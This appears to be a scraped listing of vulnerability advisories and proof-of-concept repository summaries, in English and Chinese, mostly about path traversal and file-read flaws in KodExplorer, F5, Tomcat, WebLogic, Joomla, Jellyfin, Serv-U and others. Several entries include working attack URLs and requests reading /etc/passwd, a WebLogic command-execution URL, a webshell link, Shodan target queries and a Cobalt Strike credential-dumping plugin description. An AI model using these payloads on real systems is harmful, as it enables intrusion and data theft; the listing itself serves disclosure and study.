CVE-2026-104081

KodExplorer before 4.55 contains a path traversal vulnerability in the unzipprename function within app/function/helper.function.php, where a single non-recursive strreplace sanitization pass can be bypassed using crafted filenames like "....//", combined with PclZip's extract call in...

zip4j

zip4j 此仓库包含 zip4j 库版本 1.3.2（存在漏洞）和 1.3.3（已修复）的反编译源代码，用于 CVE-2018-1002202 以及 CWE-Bench-Java 数据集。GitHub 上原始的 zip4j 仓库不包含这些版本的代码。 版本 版本 1.3.2（存在漏洞） 标签 ：1.3.2 状态 ：包含路径遍历漏洞 来源 ：从 zip4j-1.3.2-sources.jar 反编译 缺陷提交 ：d87ffa2d64ffb3a0a1cf0c7a69c7b19d7015bfde 1.3.2 源码 jar 下载页面 版本 1.3.3（已修复） 标签 ：1.3.3 状态...

LSTAR

LSTAR - Aggressor 一个插件从上线到域控 实现内网漫游 本着简化 CS 右键和方便自己集成的目的，参考大量后渗透插件 重构和丰富了主机相关凭据获取、多级内网穿透、隐蔽计划任务、免杀的 Mimikatz 和克隆添加用户等功能 功能特性： 通过配合 CobaltStrike 的 TCP、SMB、Proxy 等不出网主机上线方式，穿透复杂网络环境 针对 RDP 相关、AddUser、LsassDump 等功能提供多种免杀执行方式，应对冷门环境 集成多个使用 WinAPI 或 Assembly 内存加载方式运行的影子用户、隐蔽计划任务等免杀功能 主要包含以下功能模块：...

Security Bulletin: IBM® Db2® could allow a DBADM authenticated user to send a specially crafted request to write arbitrary files on the system (CVE-2026-86087)

Summary IBM® Db2® could allow a database administration authority DBADM authenticated user to send a specially crafted request to write arbitrary files on the system CVE-2026-86087 Vulnerability Details CVEID:CVE-2026-86087 DESCRIPTION: IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 cou...

CVE-2020-25068

CVE-2020-25068 Conacwin v3.7.1.2 的 Python 漏洞利用程序。 Setelsa Conacwin v3.7.1.2 存在本地文件包含漏洞。该漏洞允许远程未认证攻击者通过 http:IP:PORT/../../path/filetodisclose 目录遍历 URI 读取服务器上的内部文件。 更多参考/信息可查阅： https://vulners.com/cve/CVE-2020-25068...

CVE-2020-5902_RCE

CVE-2020-5902RCEEXP Blog：http://www.svenbeast.com/post/cve-2020-5902 Read File Example: https://x.x.x.x/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 Host: 127.0.0.1 Connection: close Cache-Contro...

CVE-2026-104081 KodExplorer < 4.55 Path Traversal via unzip_pre_name() ZIP Extraction

KodExplorer before 4.55 contains a path traversal vulnerability in the unzipprename function within app/function/helper.function.php, where a single non-recursive strreplace sanitization pass can be bypassed using crafted filenames like "....//", combined with PclZip's extract call in...

CVE-2026-104081

KodExplorer versions prior to 4.55 are vulnerable to a path traversal vulnerability located in the unzip_pre_name() function within app/function/helper.function.php. The root cause is a non-recursive str_replace() sanitization pass that can be bypassed using crafted filenames like ....//, combine...

EUVD-2026-95797

KodExplorer before 4.55 contains a path traversal vulnerability in the unzipprename function within app/function/helper.function.php, where a single non-recursive strreplace sanitization pass can be bypassed using crafted filenames like "....//", combined with PclZip's extract call in...

CVE-2024-23334-PoC

CVE-2024-23334-PoC 针对 aiohttp 3.9.1 中 LFI 漏洞的概念验证。'followsymlinks' 选项可用于决定是否跟随静态根目录之外的符号链接。当 'followsymlinks' 设置为 True 时，没有验证检查读取的文件是否位于根目录内。这可能导致目录遍历漏洞，从而允许未经授权访问系统上的任意文件。 使用方法 bash lfi.sh -u targeturl -f FiletoRead 示例...

CVE-2026-56718

CVE-2026-56718 jdbhttpd/0.1.0（AJCloud AJY IPC 固件）中的未认证路径遍历漏洞，允许远程以 root 权限读取任意文件，包括明文 RTSP 凭据。 CWE： CWE-22（对受限目录中路径名的限制不当） 严重性： CVSS 4.0 - 8.7（高危） 受影响版本： AJCloud AJY IPC 固件 01.10715.11.37 致谢： Alessandro Ciotti（发现者），VulnCheck（协调方） 摘要 jdbhttpd 在解析请求 URI 中的文件时，未阻止 ../ 遍历逃逸 Web 根目录。网络上的未认证攻击者可读取任意文件（...

vaultize_CVE-2024-36079

关于漏洞 本地部署版 Vaultize DRM v.21.07.27 存在任意文件上传漏洞。 由于缺少文件名过滤，文件名中包含文件系统绝对路径部分内容的文件可以被上传。 当尝试下载文件时 ，应用程序会在文件系统中的最终路径创建一个临时文件。 该文件在下载完成前一直存在，下载完成后即被删除。这使得攻击者能够以应用程序的权限向任意目录写入任意文件。 演示 产品分发的一种形式是交付预先构建的 VMware 虚拟机镜像，其中已安装了本地版应用。 在这种情况下，可以通过上传 SSH 公钥来获取系统访问权限。 披露时间线 发现漏洞 - 2022年5月5日 通知软件分销商 - 2022年5月13日...

CVE-2021-23132

CVE-2021-23132 commedia 允许非预期的图片上传路径导致RCE。 CVE-2020-24597 commedia中的目录遍历导致RCE 两个CVE相同。 PoC（完整） 受影响版本：Joomla核心 =3.9.24 用户条件：管理员账户（非超级管理员） 获取访问权限：创建超级管理员，然后触发RCE。 Joomla中的远程代码执行（RCE） 用你的凭据运行 cve-2021-23132.py 并访问链接进行rce： http://target/templates/protostar/error.php?cmd=ls PoC: python3...

CVE-2020-9484

Apache Tomcat 反序列化漏洞 CVE-2020-9484 漏洞目标环境搭建 克隆此仓库 运行 docker-compose up -d 搞定！ 漏洞利用 POC 运行 curl -v 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/cfx 名为 coldfx 的文件会在 tmp 目录中创建...

cve-2020-14882

CVE-2020-14882 受影响的版本： 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 POC: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; image: EXP： python3...

CVE-2026-35031

CVE-2026-35031：Jellyfin 字幕上传路径遍历至 RCE -darkred?style=flat-square -orange?style=flat-square 摘要 Jellyfin 媒体服务器中存在一个严重的路径遍历漏洞，允许具有“上传字幕”权限的经过身份验证的用户将文件上传到磁盘上的任意位置。通过利用字幕上传端点中未经验证的 Format 字段，攻击者可以写入敏感位置的文件、窃取敏感数据、提升权限，并最终通过 LDPRELOAD 注入以 root 身份执行任意代码。 CVSS 评分： 9.9（严重） 受影响版本： Jellyfin 10.11.7 修复版本：...

Vitejs-exploit

Vite 利用工具 CVE-2025-31125 描述：利用Vite开发服务器@fs端点的路径遍历漏洞CVE-2025-31125，通过精心构造的URL访问敏感文件，如/etc/passwd和/etc/hosts。 由Muhammad Waseem创建。 用法： python viteexploit.py -u http://target.com python viteexploit.py -f urls.txt -o output.txt 依赖： Python 3.x pip install requests colorama 免责声明：...

CVE-2026-103663

A flaw was found in Ollama. This vulnerability allows an unauthenticated remote attacker to achieve arbitrary code execution by exploiting a path traversal flaw in the model pull application programming interface API endpoint. By supplying a crafted layer identifier, an attacker can write malicio...

CVE-2022-39838

CVE-2022-39838 建议描述 Systematica FIX Adapter ALFAFX 2.4.0.25 2017年9月13日版本允许通过UNC共享路径名进行远程文件包含，也允许通过绝对路径遍历到本地路径名。 附加信息 PoC： http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt 漏洞类型...

CVE-2024-28995

CVE-2024-28995 PoC SolarWinds Serv-U 存在目录遍历漏洞，允许攻击者读取主机上的敏感文件。 查询 Shodan: product:"Rhinosoft Serv-U httpd" "Serv-U FTP Server" Fofa: app="SolarWinds-Serv-U-FTP" 参考链接 https://nvd.nist.gov/vuln/detail/CVE-2024-28995 https://www.solarwinds.com/trust-center/security-advisories/CVE-2024-28995...